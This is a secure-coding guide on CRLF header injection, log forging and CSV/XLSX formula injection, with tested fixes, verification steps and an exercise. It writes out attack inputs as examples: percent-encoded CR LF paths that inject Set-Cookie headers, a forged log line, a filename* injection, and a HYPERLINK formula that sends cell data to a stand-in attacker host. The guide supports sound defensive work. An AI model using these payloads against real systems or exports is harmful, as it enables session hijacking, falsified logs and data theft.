In short

CR and LF end a line in HTTP headers, plain-text logs and CSV files, so input containing them can add a header, fake a log entry or start a new row. Most current HTTP stacks reject or replace CR and LF in header values, but Python's http.server and nginx's $uri pass them through. Write logs as JSON, and prefix CSV text cells that start with =, +, -, @, tab or CR with a single quote.

  • Do set headers, redirects and download names through the framework, and allowlist redirect targets.
  • Do build nginx redirects and proxy headers from $request_uri, not the decoded $uri.
  • Do log one JSON object per line, or encode CR and LF before writing text logs.
  • Do prefix text cells that start with = + - @ TAB or CR with ' and quote every CSV field.
  • Don't assume CSV quoting stops formulas; quotes are CSV syntax, not spreadsheet syntax.
  • Don't strip only \r\n pairs; a bare LF can end a line too.

Verify it

  1. Send %0d%0a and %0a in every value that reaches a header (redirect targets, download names, IDs) and read the raw response with curl -i or a socket; no new header line may appear.
  2. Grep nginx and proxy configuration for $uri and $document_uri in return, add_header and proxy_set_header, then replay a %0d%0a request against a test instance.
  3. Log a value that contains \n and a fake log line, and confirm the sink stores one record whose field still contains the newline as data.
  4. Export =1+1, -2+3, @SUM(1), a tab-led and a CR-led value; each text cell must start with ' while numeric columns stay unchanged.
  5. Unzip a generated XLSX and confirm the sheet XML stores user text as string cells with no <f> formula elements.
Applies to
  • Node.js / Express 26.3.0 / 5.3.0 tested
  • Python / Django / Flask (Werkzeug) 3.14.7 / 6.1.2 / 3.1.3 (3.1.9) tested
  • Starlette on uvicorn 1.7.0 on 0.54.0 tested
  • ASP.NET Core (Kestrel) 10.0.7 tested
  • Go net/http 1.27.2 tested
  • Apache Tomcat 11.0.26 tested
  • nginx 1.31.6 tested
  • pino / csv-stringify / openpyxl 10.4.0 / 6.9.0 / 3.1.5 tested

Code that writes HTTP headers, log records or CSV exports from user input. Framework header validation varies by version, so test the behavior you rely on.

Part of
Workflow: Fix a finding

Fix it in your stack

Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.

Learning goals and prerequisitesAbout 32 minutes: 11 to read and 21 for the exercise

What you will learn

  • Explain how CR and LF split headers, log records and CSV rows.
  • Find decoded-variable header injection in nginx configuration.
  • Produce structured logs and formula-safe CSV and XLSX exports.
  • Test fixes against raw bytes rather than parsed objects.

Before you start

Web developers, platform engineers who own proxy configuration, and reviewers of logging and export code.

  • Know the structure of an HTTP/1.1 response.
  • Read Node.js or Python request handlers.
Go to the guided practice

CR and LF are record separators

Three formats that applications write all the time use line breaks as structure. HTTP/1.1 ends each header field with CRLF and ends the header block with an empty line. Plain-text logs treat each line as one event. CSV ends each record with CRLF. When input containing a carriage return (CR, 0x0D) or a line feed (LF, 0x0A) reaches one of these writers unencoded, the attacker can start a new header, a new log event or a new row.

CSV has a second trap. A spreadsheet uses a cell's first character to decide whether the cell is text or a formula, so a value that starts with = becomes a live formula when the file is opened. No line break is needed. CWE tracks these weaknesses as CWE-93 (CRLF injection), CWE-113 (HTTP request and response splitting), CWE-117 (improper output neutralization for logs) and CWE-1236 (formula elements in a CSV file).

Header injection and response splitting

Redirect targets, download names and language headers often carry request data. If the value contains CR LF after decoding, a vulnerable writer emits two header lines, for example Location: /home followed by Set-Cookie: session=attacker. The attacker can plant a session cookie, add or override response headers, or, with an empty line, start the body early and inject script. If a shared cache stores that response, later visitors receive the poisoned copy.

RFC 9110 calls CR, LF and NUL in a field value invalid and dangerous, and requires a recipient to reject the message or replace each of those characters with a space. HTTP/2 (RFC 9113) treats such a field as malformed and forbids intermediaries from forwarding it. The risk returns when a proxy translates HTTP/2 to HTTP/1.1 without that check, which is why ASVS 5.0 requirement 4.2.4 asks for it.

The bug also works in the other direction. A service that copies input into a header of an outgoing request can add a header the backend trusts, such as an identity header that only the proxy should set.

What current stacks do with CR and LF

Most maintained HTTP stacks refuse to write CR or LF in a header value, but they refuse in different ways, and a few pass the bytes through. Each row below was tested on 2026-10-10 by setting a header from input that decodes to CR LF followed by Set-Cookie, then reading the raw response bytes.

Rejecting is the safest behavior, but it turns the attack into a 500 error, so validate values before you set them. Replacing CR and LF with spaces stops the split, yet the attacker's text stays in the header, and a redirect built from input is still an open redirect. In ASGI applications the check lives in the server, not in Starlette, so moving off uvicorn can change the behavior. Python's wsgiref started rejecting control characters only with the fix for CVE-2026-0865, and the http.server documentation states that send_header() does not reject CRLF.

Outgoing clients check as well. Node's http.request and fetch, Python's http.client, Requests and HTTPX, and Go's net/http client all refused a header value containing CR LF. In Python 3.14 the email package's EmailMessage refused CR or LF in a header value, which blocks SMTP header injection through that API.

What current stacks do with CR and LF
Stack (version tested)Header set from inputRedirect helper
Node.js 26.3 (node:http)setHeader() throws ERR_INVALID_CHARNone in core
Express 5.3res.set() throws; the request fails with 500res.redirect() percent-encodes CR LF
Django 6.1BadHeaderErrorHttpResponseRedirect percent-encodes
Flask 3.1 / Werkzeug 3.1ValueErrorredirect() raises ValueError
Starlette 1.7 on uvicorn 0.54uvicorn refuses the response and closes the connectionRedirectResponse percent-encodes
Python 3.14 http.serverWritten unchanged: the header is injectedNone
ASP.NET Core 10.0 (Kestrel)InvalidOperationException; 500Results.Redirect fails the same way
Go 1.27 net/httpCR and LF replaced with spaceshttp.Redirect: same replacement
Apache Tomcat 11.0CR and LF replaced with spacessendRedirect(): same replacement
nginx 1.31$uri in return, add_header or proxy_set_header injectsUse $request_uri

The common modern case: decoded variables in nginx

nginx decodes percent-encoding before it matches locations, and $uri (and $document_uri, its alias) holds that decoded, normalized path. A common redirect, return 301 https://www.example.com$uri;, therefore writes a real CR LF when the request path contains %0d%0a. In nginx 1.31.6 this added a Set-Cookie header to the response. The same variable in add_header injected a response header, and in proxy_set_header it added a header to the request sent upstream. A lone %0a reached the wire as a bare LF.

Use $request_uri, the original request target. It stays percent-encoded, and it keeps the query string that $uri drops. Review every return, add_header and proxy_set_header that uses $uri or $document_uri, and test each one with %0d%0a.

Configurationredirect.confnginx
server {
    listen 80;
    server_name example.com;

    # Vulnerable: $uri is decoded, so %0d%0a in the path becomes CR LF
    # return 301 https://www.example.com$uri;

    # Fixed: $request_uri is the original target, still percent-encoded
    return 301 https://www.example.com$request_uri;
}

Fix: let the framework encode, and allowlist what you echo

Set headers through framework helpers and keep the values simple. In Express 5, res.redirect() percent-encodes CR and LF, and res.attachment() escapes quotes in the file name and adds an RFC 8187 filename* parameter when the name needs one. Concatenating a name into Content-Disposition is unsafe even without CR LF: a quote ends the filename, and an injected filename* parameter wins because RFC 6266 tells recipients to prefer it. Validate anything else you echo: a request ID should match a short token pattern, and a language should come from a fixed list. For redirects, an allowlist of local paths stops header injection and open redirects in one step; /domains/appsec/secure-features/open-redirect/ covers that allowlist.

Do not fix a header by deleting only the \r\n pair. RFC 9112 lets a recipient treat a bare LF as a line ending, and the nginx test above put a bare LF on the wire. If free text must go into a header, encode it with percent-encoding or RFC 8187 instead of deleting characters.

Fixedheaders.mjsJavaScript
// headers.mjs: Express 5
import { randomUUID } from 'node:crypto';
import express from 'express';

const app = express();
const REQUEST_ID = /^[A-Za-z0-9._-]{1,64}$/;
const RETURN_TO = new Set(['/', '/account', '/orders']);

app.use((req, res, next) => {
  // Echo (and later log) a caller's request ID only if it is a plain token.
  const supplied = req.get('x-request-id');
  req.id = supplied && REQUEST_ID.test(supplied) ? supplied : randomUUID();
  res.set('X-Request-Id', req.id);
  next();
});

app.get('/reports/download', (req, res) => {
  // res.attachment() quotes the name and adds an RFC 8187 filename* parameter.
  res.attachment(`${String(req.query.name ?? 'report')}.csv`);
  res.send('id,total\n');
});

app.get('/signed-in', (req, res) => {
  // An allowlist blocks header injection and open redirects in one step.
  const target = String(req.query.next ?? '/');
  res.redirect(RETURN_TO.has(target) ? target : '/');
});

export default app;

Log injection and log forging

A text log format such as "login failed user=%s" accepts any username, including one that holds a newline and a fake entry: alice\n2026-10-10 12:00:00 INFO auth: login succeeded user=admin. The file now shows an admin login that never happened. Forged lines mislead investigators, break parsers and alert rules, and can hide real events. If a web console renders log values as HTML, script in a value becomes stored XSS in the console, which is one reason OWASP says web-accessible logs should be served as plain text.

Some loggers interpret what they log. Log4j 2 releases before 2.15.0 resolved ${jndi:...} lookups in logged messages by default, so logging a request header was enough for remote code execution (CVE-2021-44228, Log4Shell). Version 2.16.0 removed message lookups entirely and 2.17.0 fixed a further lookup flaw, so run a current 2.x release rather than stopping at 2.15.0.

Write one JSON object per line. A JSON encoder writes a newline inside a value as \n and other control characters as \u00XX escapes, so each event stays on one line whatever the input contains. pino 10 does this by default in Node.js. In Python, use a JSON formatter such as the standard-library one below, python-json-logger or structlog. If you must keep a text format, encode instead: %r in Python's logging escapes the newline, and Log4j 2's %enc{%m}{CRLF} writes CR and LF as the text \r and \n. Bound field lengths, and keep secrets out of logs entirely. The fix cards at /fix/crlf-log-injection/ apply this in Express, Flask and Spring Boot.

Fixedjson_logging.pyPython
# json_logging.py: one JSON object per line, standard library only
import json
import logging
from datetime import datetime, timezone


class JsonFormatter(logging.Formatter):
    FIELDS = ("user", "ip", "request_id")

    def format(self, record):
        event = {
            "time": datetime.fromtimestamp(record.created, timezone.utc).isoformat(),
            "level": record.levelname,
            "logger": record.name,
            "msg": record.getMessage(),
        }
        for key in self.FIELDS:
            if hasattr(record, key):
                event[key] = str(getattr(record, key))[:256]  # bound each field
        if record.exc_info:
            event["exc"] = self.formatException(record.exc_info)
        return json.dumps(event, ensure_ascii=False)  # \n -> "\\n", controls -> \u00XX


handler = logging.StreamHandler()
handler.setFormatter(JsonFormatter())
log = logging.getLogger("auth")
log.addHandler(handler)
log.setLevel(logging.INFO)

username = "alice\n2026-10-10 12:00:00 INFO auth: login succeeded user=admin"
log.warning("login failed", extra={"user": username})

CSV and formula injection

When a spreadsheet opens a CSV file, a cell that starts with = is a formula. OWASP lists +, -, @, tab, CR and LF as further triggers, plus the full-width forms = + - @. A ticket subject such as =HYPERLINK("https://attacker.example/?d="&C2,"Open") becomes a link that sends a neighboring cell to the attacker when someone clicks it. OWASP describes the impact as exfiltrating spreadsheet contents and exploiting users who click through warnings or spreadsheet bugs.

Quoting alone is not a defense: "=1+1" in a CSV file is a quoted field whose value is still =1+1. Prefix text cells that start with a trigger character with a single quote, quote every field, and double embedded quotes as RFC 4180 requires. Keep numeric columns numeric, so -5 stays a number and only text such as -2+3 gets the prefix. ASVS 5.0 lists this as requirement 1.2.10, at Level 3.

The protection has limits. OWASP notes that Excel may drop the quote when a file is saved and reopened, and the apostrophe becomes part of the data for any program that reads the file. When people are meant to open the export in a spreadsheet, XLSX with typed string cells is more robust.

Exports are one direction. When users upload spreadsheets and documents for you to preview, convert or index, the risk is the parser itself: check the package and run the converter in an isolated container, as /domains/appsec/secure-features/untrusted-document-conversion/ shows.

Fixedcsv_export.pyPython
# csv_export.py: neutralize formula triggers in text cells, quote every field
import csv
import io

# = + - @ TAB CR LF, plus the full-width = + - @ that some spreadsheet apps accept
TRIGGERS = ("=", "+", "-", "@", "\t", "\r", "\n",
            "=", "+", "-", "@")


def safe_cell(value):
    if isinstance(value, (int, float)) and not isinstance(value, bool):
        return value  # real numbers stay numbers, so -5 is not altered
    text = "" if value is None else str(value)
    return "'" + text if text.startswith(TRIGGERS) else text


def export_csv(rows):
    out = io.StringIO()
    writer = csv.writer(out, quoting=csv.QUOTE_ALL)  # RFC 4180: CRLF rows, "" escapes
    for row in rows:
        writer.writerow([safe_cell(v) for v in row])
    return out.getvalue()

Library switches for CSV

csv-stringify for Node.js has an escape_formulas option, added in 6.3.0 and off by default. In 6.9.0 it prefixed text starting with = + - @, tab or CR, and the full-width forms, and it left numbers alone. It did not prefix a leading LF, which OWASP lists, so add that check if you follow OWASP's list. Python's csv module has no such option: QUOTE_ALL quotes fields but leaves =1+1 intact, so you need a function like safe_cell above.

Fixedexport.mjsJavaScript
// export.mjs: csv-stringify 6.x
import { stringify } from 'csv-stringify/sync';

export function ticketsCsv(tickets) {
  return stringify(tickets, {
    header: true,
    columns: ['id', 'customer', 'subject', 'amount'],
    quoted_string: true,    // quote every text field
    escape_formulas: true,  // prefix ' to text that starts with = + - @ TAB CR
    record_delimiter: 'windows',  // CRLF, as in RFC 4180
  });
}

XLSX is not automatically safe

openpyxl 3.1.5 stores any string that starts with = as a formula, so appending a ticket subject such as =1+1 created a formula cell. Set the cell's data_type to "s" for user text. In a test, open the saved file as a zip and check that the sheet XML has no <f> formula elements. Other libraries behave differently, so check what yours does with a leading =.

Fixedxlsx_export.pyPython
# xlsx_export.py: openpyxl 3.1 stores any str that starts with "=" as a formula
from openpyxl import Workbook


def export_xlsx(rows, path):
    wb = Workbook()
    ws = wb.active
    for row in rows:
        ws.append(row)
    for row in ws.iter_rows():
        for cell in row:
            if cell.data_type == "f":  # user text was turned into a formula
                cell.data_type = "s"   # write it as a plain string cell
    wb.save(path)

Pitfalls

Most incomplete fixes handle one character or one layer.

  • Removing \r\n pairs but leaving a bare \n or \r.
  • Validating before decoding. A value checked while still percent-encoded becomes CR LF when a later layer decodes it, which is the nginx $uri problem in another form. Decode once, then validate (ASVS 5.0 requirement 1.1.1).
  • Trusting replace-with-space. Go and Tomcat stop the split, but the attacker's text stays in the header, so the value still needs validation.
  • Turning off library checks. Netty's DefaultHttpHeaders(false) disables its header validation; CodeQL flags this as java/netty-http-request-or-response-splitting.
  • Logging raw headers or bodies. They carry secrets as well as attacker text. Log selected, bounded fields.
  • Prefixing every CSV cell. A blanket prefix turns -5 into text and breaks totals; prefix text cells only.

Verify on the wire, in the log sink and in the file

Test bytes, not the framework's object model. A raw socket or curl -i shows whether a second header line exists; a parsed response object can hide it. Send both %0d%0a and %0a, and test through the real proxy chain, because nginx and the application behave differently.

For logs, write a payload event and confirm that the sink stores one record whose field still contains the newline as data. For exports, check the file bytes, and for XLSX the sheet XML. Scanners help: ZAP's active scan rule 40003 tests for CRLF injection, and CodeQL has py/log-injection, js/log-injection, java/log-injection, py/http-response-splitting and java/http-response-splitting.

Verify on the wire, in the log sink and in the file
InputBeforeAfter
GET /a%0d%0aSet-Cookie:%20session=attacker to return 301 ...$uriSeparate Set-Cookie header$request_uri: Location keeps %0d%0a encoded
?next=https://evil.example/ or a CR LF payload to the Express redirectAny target accepted; CR LF percent-encodedLocation: / (not on the allowlist)
Download name q3"\r\nSet-Cookie: a=bres.setHeader() throws; 500One Content-Disposition header with filename*
Download name q3.csv"; filename*=UTF-8''evil.htmlSecond filename* parameter, which browsers preferQuote escaped inside one filename parameter
Username alice\n<fake log line>Two log linesOne JSON line, newline escaped
=HYPERLINK(...) in a CSV text cellLive formula'=HYPERLINK(...) as text
-5 in a numeric CSV column-5-5, unchanged
=1+1 written with openpyxl<f>1+1</f> formulaInline string =1+1

Guided practice

A support platform sits behind nginx, serves report downloads from Express, logs sign-ins with Python and exports tickets as CSV. Trace each input to the writer it breaks, then fix that writer.

Supplied scenario material
Plain text
nginx:
  location /help/ { return 302 https://help.example.com$uri; }
Express 5:
  app.get('/download', (req, res) => {
    res.setHeader('Content-Disposition', 'attachment; filename="' + req.query.name + '"');
    res.send(csv);
  });
Python logging:
  Formatter("%(asctime)s %(levelname)s %(message)s")
  log.info("sign-in ok user=%s", username)
CSV export:
  csv.writer(f).writerow([ticket.id, ticket.subject, ticket.amount])
Inputs:
  N1  GET /help/start%0d%0aSet-Cookie:%20sid=attacker
  E1  GET /download?name=q3.csv
  E2  GET /download?name=q3.csv%22%0d%0aX-Injected:%201
  L1  username "dana\n2026-10-10 09:00:00 INFO sign-in ok user=root"
  X1  subject =HYPERLINK("https://attacker.example/?d="&C2,"Open"), amount 120
  X2  subject -2+3, amount -5
  1. 1. Fix the nginx redirect

    Predict the response headers for N1, then change the configuration.

    Expected result and reasoning

    With $uri, nginx decodes %0d%0a and the response carries a separate Set-Cookie: sid=attacker header. With $request_uri, Location keeps %0d%0a encoded and no extra header appears.

  2. 2. Fix the download header

    Decide what Node.js does with E2 and rewrite the handler.

    Expected result and reasoning

    Node rejects the CR LF value with ERR_INVALID_CHAR, so E2 becomes a 500 rather than a split. The handler is still wrong: q3.csv"; filename*=UTF-8''evil.html, with no CR or LF, adds a filename* parameter that browsers prefer. Use res.attachment(name), which escapes the quote and adds filename* when needed. E1 still downloads as q3.csv.

  3. 3. Fix the log format

    Show the log output for L1 before and after switching to a JSON formatter.

    Expected result and reasoning

    Before: two lines, the second a fake sign-in for root. After: one JSON object whose user field contains dana\n2026-10-10 ... as an escaped string.

  4. 4. Fix the export

    Write the cells that the fixed export produces for X1 and X2.

    Expected result and reasoning

    X1's subject becomes '=HYPERLINK(...) inside a quoted field with doubled quotes, and 120 is unchanged. X2's subject becomes '-2+3 and the amount -5 stays numeric.

Your deliverable: A patch with the nginx change, the download handler, the log formatter and the export function, plus one test per input that checks raw bytes.

The fixture is complete, so this works on paper. The tested snippets in this guide (nginx 1.31.6, Express 5.3, Python 3.14 logging and csv) reproduce every expected result.

Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.

No draft saved on this device yet.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

  1. RFC 9110, section 5.5: field values (CR, LF and NUL). June 2022.
  2. RFC 9113, section 8.2.1: HTTP/2 field validity. June 2022.
  3. Python documentation: http.server security considerations. Python 3.15.
  4. nginx: $uri and $request_uri in ngx_http_core_module
  5. OWASP Cheat Sheet Series: Logging
  6. Apache Log4j 2: Pattern Layout encode converter
  7. Apache Logging Services: Log4j security vulnerabilities (CVE-2021-44228)
  8. OWASP: CSV Injection
  9. RFC 4180, section 2: CSV format rules. October 2005.
  10. csv-stringify: the escape_formulas option

Reference information

SDLC phase
Development

Download this guide as Markdown